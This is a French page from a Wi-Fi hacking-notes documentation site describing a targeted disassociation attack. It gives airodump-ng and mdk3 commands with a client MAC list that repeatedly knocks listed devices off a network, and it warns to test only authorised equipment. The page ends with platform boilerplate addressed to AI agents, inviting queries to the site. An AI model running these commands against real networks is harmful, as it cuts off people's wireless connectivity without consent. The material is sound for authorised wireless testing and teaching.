> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/disassociation-amok-mode-attack.md).
# Attaque en mode amok de dissociation
Tester le comportement ciblé de dissociation sans fil lors d’une évaluation limitée.
Il s’agit d’un test de dissociation ciblée. Utilisez des listes d’autorisation ou des listes de blocage pour définir les stations clientes incluses dans le test autorisé.
{% hint style="warning" %}
Exécutez ce test sur des équipements que vous possédez ou que vous êtes autorisé à évaluer. Les trames de dissociation interrompent la connectivité des clients sans fil.
{% endhint %}
### Capturer le réseau cible
Démarrez Airodump-ng sur le canal et le point d’accès cibles :
{% code overflow="wrap" %}
```bash
airodump-ng --channel 4 -w CAPTURE --bssid 70:4F:57:CA:D9:73 wlan0mon
```
{% endcode %}
### Créer la liste de blocage des clients
Dans un terminal séparé, créez un `liste noire` fichier. Ajoutez les adresses MAC des stations à inclure :
{% code overflow="wrap" %}
```bash
46:E9:89:14:07:36
48:A4:72:04:F3:4E
```
{% endcode %}
### Exécuter le test dans le périmètre défini
Utilisez `mdk3` avec la liste de blocage sur le canal 4 :
{% code overflow="wrap" %}
```bash
mdk3 wlan0mon d -w blacklist -c 4
```
{% endcode %}
L’outil envoie des trames de dissociation de façon répétée. Les appareils listés peuvent se déconnecter environ toutes les trois secondes.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/disassociation-amok-mode-attack.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
